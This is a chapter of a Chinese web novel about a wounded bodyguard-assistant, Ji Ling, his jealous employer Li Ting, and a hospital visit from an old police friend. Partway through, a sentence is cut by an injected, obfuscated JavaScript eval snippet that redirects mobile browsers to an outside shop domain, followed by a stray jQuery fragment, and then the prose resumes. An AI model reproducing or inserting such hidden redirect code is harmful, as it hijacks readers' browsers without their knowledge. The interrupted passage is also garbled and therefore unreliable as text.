冬日里的大晴天,纪灵沿着住院楼后的花园慢慢走完一圈,转身就把康复师推来的轮椅塞了回去。
“这玩意儿用不上,我只是背上挨了一刀,腿又没坏。”
康复师看了看他发白的脸色,没跟伤员讲道理,老老实实推着轮椅继续跟在后面。
这两天下来,纪灵已经能自如下床。虽然走快了仍会牵扯伤口痛,呼吸也不能太深,好在各项指标都很稳定。照这个恢复速度,再过几天就能拆线。
这两天黎廷也来过几次。
第一次,纪灵闭着眼装睡。第二次,他故意把复健时间拖长了半个小时,回来时人已经走了。第三次实在没避开,他便靠在床头看窗外,任凭房间里多出两个大活人,愣是一句话没说。
徐惟算是彻底见识了什么叫变脸。他单独来时,纪灵还能给两句好话。一旦自己跟着老板出现,待遇立即取消,连喊三声天哥都换不来一个正眼。
不过许姨准备的饭他倒是照吃不误。人可以不理,饭没必要得罪。保温盒里的主食、炖菜和汤都按医嘱分开烹制。纪灵一顿没浪费,第二天照样冷脸,公私分明得很。
黎廷对此没有表现出半分不悦。纪灵吃东西时,他就在一旁处理邮件,坐上半小时便走。立即解约的事也没再被提起,黎廷近两日的心情反而比前段时间还好一些。
这天上午,病房里终于来了个没出现过的人。
赵鑫穿着便服,手里拎着一只外卖袋。进门时先把纪灵从头到脚扫了一遍,确认人确实恢复得不错,才笑呵呵的走到近前。
纪灵刚做完复健,正坐在床沿缓气,见到他也没什么好脸色。
“你来做什么?”
“来看看你怎么作成这样。”
“不想看见你,烦。”
赵鑫拉开床边的椅子坐下,见他精神还行,嘴上便也没留情。
“烦你就忍着,听说再过几天就能拆线,命挺硬。”
“谢谢,主打一个活着。”
赵鑫没接这句。他的目光从纪灵右臂扫到露在病号服外的手腕,又在他左侧肩背停了停。见人脸上也有了血色,那点压了多日的担忧才松下来。
“过来,给你带的。”
赵鑫嘴上不客气,手却已经拆开了外卖袋。里面是一份水果捞,椰奶浸着切好的西瓜和芒果,透明杯盖上还凝着一层细密的水汽。
纪灵眼睛一亮,脸色总算好看了一点。
“哪买的?”
“楼下没有,我绕了两条街。”赵鑫把勺子和纸巾一并递给他,“问过医生了,能吃。护士不让带太冰的,我在外面放了半天,你少装可怜。”
纪灵接过来尝了一口,椰奶仍带着一点凉,甜度正好。他满意得很,嘴上依然欠欠的:“看在东西的份上,你可以多坐五分钟。”
赵鑫气笑了,曲起手指在他额头上弹了个脑崩,力道不重。纪灵立即抬腿作势要踹他,两人正闹着,病房门开了。
黎廷进门时恰好看见这一幕。他的目光从纪灵抬起的腿移到赵鑫尚未收回的手,眼神当即暗了下去。
徐惟跟在后面,很快认出赵鑫。对方今天没有带同事,也没拿任何调查材料,只以朋友身份来探病。人是纪灵自己同意见的,谁也没有拦的道理。
纪灵把脚放回地面,继续吃他的水果捞,只当门口没多那两个人。
病床前的椅子已经被赵鑫坐了。黎廷走近时停了一下,没让人起身,转去了靠窗的沙发。
几人的占位就这么重新排过一遍。
徐惟把许姨准备的保温袋放上茶几,照例报了午餐和汤。纪灵应了一声,算是今天第一次肯搭理他。黎廷坐得最远,视线却一直没有离开床边。
赵鑫察觉有点冷场,于是主动开口:“黎董是吧,这次多谢了,秦天在临海没几个朋友,住院这段时间有你们照应,我也放心一些。”
黎廷没有搭理。他的视线从赵鑫脸上移到纪灵额前,那里刚被手指弹过,连红印都没留下。
徐惟只好把场面接过来:“秦助理……”
纪灵咬着勺子转头看他,徐惟立即改口:
“客气了,天哥一直尽职负责,这次也是在替黎董确认出行路线时受的伤。医疗、康复和后续赔偿,晨星都会负责到底,这是应尽的责任。”
赵鑫点头:“那就好,他平时看着不着调,真做起事来不要命,有人管着总比没有强。”
“谁不着调?”纪灵终于出了声。
“吃你的。”
纪灵舀走一块西瓜,用实际行动结束了这个话题。
赵鑫和徐惟又隔着病床客套了几句,气氛却始终没热起来。黎廷坐在沙发上看手机,全程没插话。
纪灵低头吃自己的水果,勺子在椰奶里慢慢搅了两圈。他清楚那股冷意冲着谁去。赵鑫还没弄懂,只管跟徐惟没话找话,聊起医院附近哪条路下午最堵。
纪灵只好装没看懂。
直到赵鑫说起两人是多年旧友,黎廷才把手机放到一旁。
“赵队,你们认识多少年了?”
声音不高,语气凉凉的。赵鑫明显感觉到了来者不善,只能硬着头皮算了算。
“至少也十多年了。”
黎廷看着他:“赵队跟秦天是警校认识的吗?”
赵鑫没说话。纪灵手里的勺子停在杯沿,他偏过脸,视线越过赵鑫,冷冷落向沙发上的人。
黎廷没有收住话锋。
“不方便回答?”
赵鑫脸上的笑淡了些:“黎董想问什么?”
“认识十多年,其中有几年,赵队知道他在哪里,过得怎么样吗?”
赵鑫下颌微微绷紧。黎廷又接着问:“他出了事,又有几次会主动找你?”
“他有自己的选择。”
“所以凡事一直由他自己扛。”
赵鑫握着纸袋的手紧了紧,刚要开口,水果杯落上床头柜,清脆的一声截断了两人的交锋。
“黎董,你越界了。”
黎廷终于转头看他。
“那是我的事。”纪灵靠在床边,脸色还透着伤后的苍白,声音已经冷了下来,“我跟晨星的合同月底就结束了,黎董不必关心一个准备离职的助理。”
病房里彻底安静。
赵鑫听得莫名其妙,视线在两人之间转了一圈。徐惟站在旁边,额角都快冒汗了。这两天他已经明确感受过纪灵的变脸,眼下才知道,老板的待遇还可以更差。
赵鑫想起身,黎廷已经站了起来。
他望着纪灵,凝紧的眉宇间压着一丝难言的情绪。他没有再接这个话头,只是走近了两步。
“少吃点凉的。”
话一出口,语气比刚才温和了许多。
“下回徐惟会送许姨炖的甜汤来。”
纪灵重新拿起水果杯,没看他,也没搭理。黎廷站了片刻,转身离开病房。徐惟只能朝赵鑫匆匆点了下头,赶紧跟了出去。
门一关,病房里终于松缓下来。赵鑫重新坐下,看着还在若无其事吃水果捞的人,越想越不对。
“喂!你这老板为什么一副想刀了我的样子?”
纪灵头也不抬:“因为你讨厌。”
赵鑫抬手拍了一下他没伤的右肩:“说正经的。”
纪灵舀起最后一块西瓜,送进嘴里慢慢嚼完。他沉默了许久,才把空勺放回杯里,低声说了一句:
“大概是你碰我了……”
赵鑫怀疑自己幻听了,也没注意到面前那人泛红的耳根。
“放屁!你是什么纸糊的娇花?”
纪灵抬眼瞪他:“你能不能小点声?”
“我弹你一下,他就那个脸色,有点离谱吧?”赵鑫越想越不明白,“你跟这黎廷到底什么关系?雇主和助理能处成你们这样?”
“月底到期的雇佣关系。”
“那刚才是什么,离职谈判?”
纪灵揉着额头,心烦意乱地别过脸。他也不知道现在算什么关系。黎廷对他的心思,他哪里说得出口。那个人的情绪和喜恶在他眼里其实很好揣摩,谁让黎廷不耐烦,哪句话踩了线,纪灵看一眼就能猜出个七七八八。
唯独这件事,他居然迟钝了这么久。
现在往回看,许多细节早有苗头。想挖他的,想把他要走做情人的,但凡有人靠他近一点,黎廷看得比安保监控还认真。刚才赵鑫只是弹了他一下,他都怀疑两人十几年的交情会因此被拉出来放在那人桌前逐帧核验。
以前纪灵只当是做老板的控制欲强,毕竟拿五万月薪的时候,他也没想过自己有朝一日还要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17929344|213579||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
兼职被人喜欢。
再往回翻,账好像又不只在黎廷那边。
封翊离黎廷近了些,他也没少盯着人家。那时纪灵给自己的解释很简单:贴身保镖多留意老板身边的人属于敬业。现在不准备干了,敬业这个理由也跟着站不住了。
他还不敢细想自己为什么要这么别扭。黎廷每次进门,他闭着眼,耳朵其实比值班护士还忙。餐盒放在哪儿,椅子有没有被拉开,那个人什么时候走的,他听得一清二楚。
明明在心里排过不少说辞,真见到人,最该拒绝的话却始终没有出口。他忙着装睡、冷脸、赶人,唯独没把那句表白退回去。
纪灵低头盯着空掉的水果杯,下意识把刚才的画面换了个位置。倘若有人当着他的面,伸手在黎廷额头上碰一下……好像也不怎么顺眼。
—— ?——
勺尖在杯底戳出一声轻响。
妈的!
他可能真动心了。
意识到这点的纪灵耳根更热,偏偏病房里还有个认识他十多年的损友,抬头就能被发现。他只能继续盯着杯底,假装那里藏着什么重大线索。这比被人表白还麻烦,至少表白是黎廷的问题,心跳是他自己的。
赵鑫等了半天没等到回答,顺着他的目光看向那个已经空了的杯子:“问你话呢,你跟杯子较什么劲?”
“吃完了,你拿去扔。”
“你使唤谁呢?”
赵鑫骂了他一句,还是起身把杯子收进外卖袋。两人认识太久,他看得出纪灵不想说,便没再逼问,提上垃圾准备离开。
刚走到门边,身后的人突然开了口。
“我还有多久才算完?”
赵鑫握着门把回过头:“什么算完?”
“别装。”纪灵看着他,“你知道我问什么。”
赵鑫脸上的玩笑淡了下去。
“你突然问这个做什么?”
“随便问问。”
赵鑫走回床边,没有再坐。他看了看纪灵,又看向刚才黎廷离开的那扇门,神色比先前认真许多。
“你在临海有被限制过什么吗?工作照找,想住哪里住哪里,出行也没人拦你。连你不想接触警察,我们……”
话说到一半,他自己停住了。两人一直默契地回避谈论这次绑架案。警方需要的问话还没完成,纪灵的抗拒也摆在明面上。这话题再往下,怎么都绕不开了。
纪灵垂下眼。
“我知道,你们看待这个对我来说就是个形式,但我……”
——总觉得不自由。
后半句话卡在喉咙里,怎么讲都显得矫情。他沉默片刻,最后只说:
“算了,是我自己的问题。”
说完,他伸手去拿已经空掉的杯子,碰了个空,才想起刚让赵鑫收走。手在床头停了半秒,又若无其事地收回来。
赵鑫站在旁边看了他一会:“你想去哪儿?”
纪灵没有回答。
他以前从没认真想过这个问题。离开警察系统以后,能够自己决定每天往哪里走,已经足够,何况自己还有照顾宋奶奶的责任。
赵鑫没再追问,只让他有事打电话,随后关门离开。
病房里重新静下来。
纪灵靠回床头,目光落在那扇紧闭的门上。黎廷那晚说过的话,又一次从乱七八糟的思绪里冒了出来。
——我想带你走。
先前他只顾着震惊,根本没来得及想那个“走”字。
走……走去哪里?
——
傍晚,一辆黑色轿车驶离市政府接待厅,汇入下班高峰的车流。
徐惟握着方向盘,沿导航前往一处没有列入公开行程的会面地点。黎廷坐在后座,耳上戴着无线耳机,手中的平板亮着。
黎廷望着窗外,沉默几秒,轻声说了句:“想带他走。”
徐惟没听明白,只能从后视镜里暗中观察老板的神色。黎廷脸上没有多余表情,听完耳机里的回复,把视线收了回来,随即结束了通话。
平板上,今晚约见的几个人依次排在同一页。姓名、职务、履历、会面时间,一项不少。其中两份资料旁边标有新的联络备注,都是徐惟当天上午才确认回来的。
屏幕上面,唯独没有列出会谈事项。